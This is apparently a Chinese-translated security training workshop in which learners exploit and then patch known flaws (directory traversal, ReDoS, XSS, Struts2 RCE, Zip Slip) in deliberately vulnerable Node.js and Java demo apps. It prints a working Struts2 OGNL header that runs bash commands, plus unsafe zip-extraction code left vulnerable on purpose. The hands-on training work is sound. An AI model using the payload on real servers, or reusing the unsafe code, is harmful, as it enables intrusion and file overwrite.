在这个逐步指导的工作坊中,你将学习如何利用Node.js和Java应用程序中已知存在漏洞的包中的各种真实世界漏洞。
你可以通过两种不同的方式完成本工作坊:
或
本工作坊将引导你安装并利用多个故意存在漏洞的应用程序。这些应用程序将使用具有已知漏洞的真实世界包,包括:
这些漏洞存在于多个应用程序中,其中大部分你需要安装在本地或云实例上。下面的说明将引导你完成本地安装,但你也完全可以尝试在远程云实例上进行测试。
在本工作坊的每个漏洞部分,你将获得关于漏洞及其所在包的信息。建议你首先尝试通过试错攻击应用程序,不要阅读任何提示。试着思考如何绕过应用程序的净化机制,进入黑客的思维模式。提示是在你卡住时使用的,请按顺序阅读,当你需要帮助时再查看。如果你能不借助提示完成攻击,那太棒了!但之后阅读提示以确认你的破解方式与我们所做的相同也是有好处的!此外,提示中还可能包含一些值得学习的小技巧。
根据你之前的选择,查看相应的安装手册:
从你喜欢的浏览器中,导航至 http://localhost:3001,你应该会看到以下页面。

花几分钟时间浏览这个网站,特别是创建一些待办事项,使用普通文本“买牛奶”以及使用Markdown“买很多牛奶”。同时,点击主页底部的链接,查看那个非常简朴的“关于”页面。欣赏一下用于创建这个“关于”页面的CSS技巧。注意:提交让这个页面看起来更美观的PR将不会被合并 ;o)

首先,从蓝队(防御方)的角度来看待它。 将goof应用程序fork到你自己的GitHub账户中。该应用程序可以在GitHub上找到:https://github.com/snyk/goof。 我们需要扫描我们的应用程序,以了解其中存在的直接和间接依赖关系,以及每个库中的漏洞。为此,导航至 https://snyk.io,点击网站右上角的“注册”或“登录”(如果你已经是用户):

点击“使用你的GitHub登录”按钮:

接下来,导入你刚刚克隆的goof项目。从你的GitHub仓库列表中选择goof,然后点击窗口右上角的“导入项目”按钮。

当项目扫描完成后,你会在仪表板中看到它:

点击package.json链接以查看项目页面,其中包含完整的安全漏洞列表:

你可以点击“问题”和“依赖关系”标签,以查看关于漏洞及其修复的更多信息,以及它们是由你的应用程序在何处引入的。你会注意到在漏洞列表的底部,有一个关于st包的目录遍历漏洞。我们来详细看看这个漏洞。

目录遍历攻击(也称为路径遍历)旨在访问预期文件夹之外存储的文件和目录。通过操纵带有“点-点-斜杠”(../)序列及其变体的文件,或使用绝对文件路径,可能访问文件系统上存储的任意文件和目录,包括应用程序源代码、配置文件和其他关键系统文件。
目录遍历漏洞通常可以分为两种类型:
goof应用程序中包含一个存在目录遍历漏洞的包,我们将要利用的是 st 包。查看一下st的文档,熟悉这个库。
现在你应该已经了解了什么是目录遍历、st包的作用,然后继续攻击应用程序——你现在回到红队了!在应用程序中寻找可能使用st包的地方,并尝试遍历到你本不应被允许访问的目录。
以下是一些提示,如果你卡住了,可以看看——尽量在你自己尝试过之后再看。如果确实需要帮助,可以按顺序查看。
点击查看 提示 1。
点击查看 提示 2。
点击查看 提示 3。
点击查看 提示 4。
点击查看 提示 5。
点击查看 提示 6。
点击查看 提示 7。
点击查看 提示 8。
点击查看 提示 9。
像攻击者一样浏览你的文件系统,找到机器上你可能不希望攻击者看到的3条敏感信息。
点击查看 提示 10。
查看漏洞描述,包括CVSS评分:https://snyk.io/vuln/npm:st:20140206。你认为为什么这个漏洞被评为中等严重性,而不是高严重性?
回到snyk项目页面,找到st包中的目录遍历漏洞,并查看修复建议。你会注意到该漏洞在应用程序中只有一条路径,而且st包是直接依赖,因此修复应该不会太棘手。我们可以通过点击“修复此漏洞”按钮,自动将st包的版本更新到0.2.5。

你会看到一个漏洞列表,只有st漏洞应该被选中。向下滚动到页面底部,点击“打开修复PR”:

在“文件更改”标签页中查看PR中的代码更改:

确保你新的PR测试不会引入任何新的安全或许可证问题,并且已通过。这些信息可以在PR的“对话”标签页中找到:

当你对PR满意时,合并更改。
如果你在本地运行应用程序,请在运行npm start的窗口中按Ctrl+C停止它。通过运行git fetch从GitHub获取最新代码。通过运行npm install下载新版本的st,然后再次使用npm start启动你的应用程序。
再次尝试你的攻击。恭喜!,你已经修复了漏洞,现在每次尝试突破public文件夹时,你都会被重定向回主页。
查看Snyk扫描中关于ReDoS漏洞的描述:

ms包中的这个漏洞将是我们在goof应用程序中要破坏的漏洞。使用以下命令添加一个包含时间字符串表示的待办事项:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
ms 库已匹配到您内容输入字符串中的一个时间模式。在 goof 网页上,这一表示方式略有不同。

利用您对 ReDoS 工作原理的了解,尝试传递一个会造成明显延迟或导致其他用户服务被拒绝的内容字符串。请注意,在请求处理期间,网页会缓冲您后续的所有请求,直到第一个请求被处理完毕。
Click to see [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint1.md).
Click to see [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint2.md).
Click to see [Hint 3](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint3.md).
Click to see [Hint 4](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint4.md).
Click to see [Hint 5](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint5.md).
思考如何在应用程序代码中以编程方式避免此攻击?
### 修复漏洞
回到 snyk 项目页面,找到 ```ms``` 包中的正则表达式拒绝服务漏洞并查看修复建议。您会看到应用中只有一条路径通向此漏洞,且 ```ms``` 包是间接依赖项,由 ```humanize-ms``` 包引入。我们可以看到需要将 ```humanize-ms``` 版本更新到 ```1.0.2```。这将引入修复版本的 ```ms``` 包。再次点击“修复此漏洞”并创建一个 PR。

更新应用程序后,再次尝试您的攻击。*恭喜!*,您已成功修复该漏洞!
## 跨站脚本攻击 (XSS)
当攻击者诱使用户的浏览器在受害者域的上下文中执行恶意 JavaScript 代码时,就会发生 XSS 攻击。此类脚本可以窃取用户在该域的会话 cookie、抓取或修改其内容,并代表用户执行或修改操作,而这些操作通常被浏览器的同源策略阻止。这些攻击之所以可能,是因为攻击者能够逃逸 Web 应用程序的上下文,并在原本受信任的网站中注入恶意脚本。这些脚本可以引入额外的属性(例如,下拉列表中的“新”选项或指向恶意网站的新链接),并可能在受害者不知情的情况下在客户端执行代码。当类似 ```< > " '``` 的字符未被正确转义时,就会发生这种情况。
XSS 有几种类型:
* *持久型 XSS* 是一种攻击,其中恶意代码持久存在于 Web 应用的数据库中。
* *反射型 XSS* 是一种攻击,其中网站会回显请求的一部分。攻击者需要诱使用户点击恶意链接(例如通过钓鱼邮件或其他页面上的恶意 JS),从而触发 XSS 攻击。
* *基于 DOM 的 XSS* 是一种纯粹发生在浏览器中的攻击,当客户端 JavaScript 将 URL 的一部分回显到页面时发生。基于 DOM 的 XSS 非常难以检测,因为服务器永远没有机会看到攻击的发生。
该漏洞存在于 marked 库中。该库允许我们在待办事项输入框中输入 markdown 文本,并将结果文本以粗体或任何您想要的方式显示。既然您已经非常熟悉这个复杂的多页面应用程序,请记住存在漏洞的包。
首先,让我们尝试显示一个警报 ‘1’。非常老套,对吧?
Click to see [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint1.md).
Click to see [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint2.md).
Click to see [Hint 3](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint3.md).
Click to see [Hint 4](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint4.md).
Click to see [Hint 5](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint5.md).
Click to see [Hint 6](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint6.md).
Click to see [Hint 7](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint7.md).
Click to see [Hint 8](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint8.md).
一旦您能够执行一些创建警报的 JavaScript,如下所示。您可以尝试一些更棘手的方法来获取一些敏感信息!

### 修复漏洞
回到 snyk 项目页面,找到 ```marked``` 包中的 XSS 漏洞并查看修复建议。您会看到应用中只有一条路径通向此漏洞,且 ```marked``` 包是直接依赖项。我们可以看到需要将 ```marked``` 更新到版本 ```0.3.9```。再次点击“修复此漏洞”并创建一个 PR。

更新应用程序后,再次尝试您的攻击。恭喜,您已修复 XSS 漏洞,并且不应再能在网页上嵌入 JavaScript。
# Java Goof 安装
根据之前的选择,选择相应的安装手册
* 使用 [Docker 镜像](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_docker.md)
* 在 [本地机器](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_local.md) 上安装
在浏览器中导航到以下 URL:[http://localhost:8080/](http://localhost:8080/)
您将看到此应用程序。它看起来比 Node 应用程序更好。因为 Java 比 Node 更好。事实如此。

点击“登录”并使用以下凭据:```
Username: [email protected]
Password: foobar
登录后,你会看到一些待办事项。如果你点击屏幕顶部的任意位置,会发现该应用程序使用了 Spring、Hibernate 和 Apache Struts。应用程序主动提供这些数据,真是非常友好!网站通常不会这么友好 :)
现在回到蓝色(防御)团队。我们需要扫描我们的应用程序,以了解应用中存在的直接和间接依赖关系,以及每个库中的漏洞。 将 Java Goof 分支到你自己的 GitHub 帐户。该应用可以在 GitHub 上找到:https://github.com/snyk/java-goof
如果你已经有一个 Snyk 账户(来自之前的工作坊),只需将 Java Goof 仓库添加到 Snyk 仪表盘中。如果还没有,请按如下方式创建账户:
导航至 https://snyk.io(如果你尚未如此操作),点击网站右上角的“登录”或“注册”。

点击“使用 GitHub 登录”按钮:

导入你刚刚克隆的 goof 项目。点击下面显示的“集成”链接:

在此处选择 GitHub 集成,并从你的 GitHub 仓库列表中选择 java-goof,然后点击窗口右上角的“添加所选仓库”按钮。

项目扫描完成后,你会在仪表盘中看到它:

点击 todolist-web-struts/pom.xml 链接,查看该部分项目的完整安全漏洞列表:

该漏洞存在于 org.apache.struts:struts2-core 包中。
受影响的版本在使用 Jakarta Multipart 解析器上传文件时存在任意命令执行漏洞。攻击者可以通过向易受攻击的服务器发送精心构造的文件上传请求来利用此漏洞,该服务器使用基于 Jakarta 的插件处理上传请求。
攻击者随后可以在 Content-Type、Content-Disposition 或 Content-Length HTTP 标头中发送恶意代码,这些代码将由易受攻击的服务器执行。公开可用的概念验证演示了该攻击场景,且该漏洞正在被广泛利用。
尽管开源项目的维护者立即修补了该漏洞,但尚未安装更新的 Struts 服务器仍受到黑客的攻击,他们利用该漏洞注入任意命令。
此攻击无需认证即可实现。更糟糕的是,Web 应用程序不需要成功上传恶意文件即可利用此漏洞——只要应用程序中存在易受攻击的 Struts 库就足以触发漏洞。
以下是一个可利用该漏洞的标头示例。请注意内容类型以 %{ 开头。```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
你会注意到创建了一个```ProcessBuilder```,并且随后会执行一条bash命令。
通过向应用发送HTTP GET请求,并在请求中携带此标头来入侵该应用。
点击查看[提示1](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint1.md)。
点击查看[提示2](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint2.md)。
到现在为止,你应该已经执行了一条远程命令,例如使用这个env命令来获取你机器的环境变量:

此时,您已通过curl一个URL获得了在该机器上的执行权限。继续运行其他命令,了解有关该机器的信息,并可在其上执行操作。
# Zip Slip
在你选择的IDE中创建一个新的Maven项目。我不会评判你。在```pom.xml```文件中添加一个新的依赖项。```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
在这个仓库中,你会找到一个zip-slip.zip存档。下载它并在存档上运行以下命令来查看输出。我相信一旦你看到输出,你就会明白这个黑客的工作原理。``` $ jar -tvf zip-slip.zip
## Zip Slip 漏洞
Zip Slip 是一种目录遍历形式,可以通过从归档中提取文件来利用。目录遍历漏洞的前提是攻击者可以访问目标文件夹之外的文件系统部分。然后攻击者可以覆盖可执行文件,并远程调用它们,或等待系统或用户调用它们,从而在受害者的机器上实现远程命令执行。该漏洞还可以通过覆盖配置文件或其他敏感资源造成损害,并且可以在客户端(用户)机器和服务器上利用。
利用此漏洞所需的两部分是恶意归档和未执行验证检查的提取代码。让我们依次看看每一个。首先,zip 文件的内容需要包含一个或多个在提取时逃逸出目标目录的文件。在 ```zip-slip.zip``` 示例中,我们可以看到两个文件,一个 good.txt 文件会被提取到目标目录,另一个 evil.txt 文件试图向上遍历目录树到 tmp 目录。你会注意到存在许多层 ```../```,以便文件有更大机会到达根目录,然后从根目录尝试遍历到 ```/tmp``` 目录。
使用 ```zt-zip``` 在 ```ZipUtil``` 中的解包工具来提取文件,并注意 ```good.txt``` 和 ```evil.txt``` 出现在文件系统的哪个位置。
点击查看 [提示 1](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint1.md)。
点击查看 [提示 2](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint2.md)。
将 evil.txt 文件解压到 tmp 目录后,请查看漏洞信息 ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681))。
### 修复漏洞!
点击查看 [提示 3](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint3.md)。
点击查看 [提示 4](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint4.md)。
既然你已经修复了 ```zt-zip``` 依赖中的漏洞,让我们看看在 Java 中可以用来实现此修复的代码。注意,在此示例中,我们使用了 Apache Commons IO 库在第 8 行执行文件复制。```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
让我们将之前的ZipUtil.unpack调用替换为此代码。从文件系统中删除good.txt和evil.txt文件,然后再次运行应用程序。你会注意到evil.txt文件再次到达/tmp目录。
找出上面哪些代码行是罪魁祸首并修复它们!
点击查看提示5。
点击查看提示6。
点击查看提示7。
点击查看提示8。
点击查看提示9。
一旦你进行了防御性编码,请查看我们在提示9中的最终代码示例,看看它与你的版本相比如何。你是否在第9行包含了尾部文件分隔符?这确保了目录不仅仅以我们选择的目录名开头,而是我们选择提取文件的目录。
感谢您参加本次研讨会。如果您发现任何拼写错误或建议其他提示,请给我们发送PR!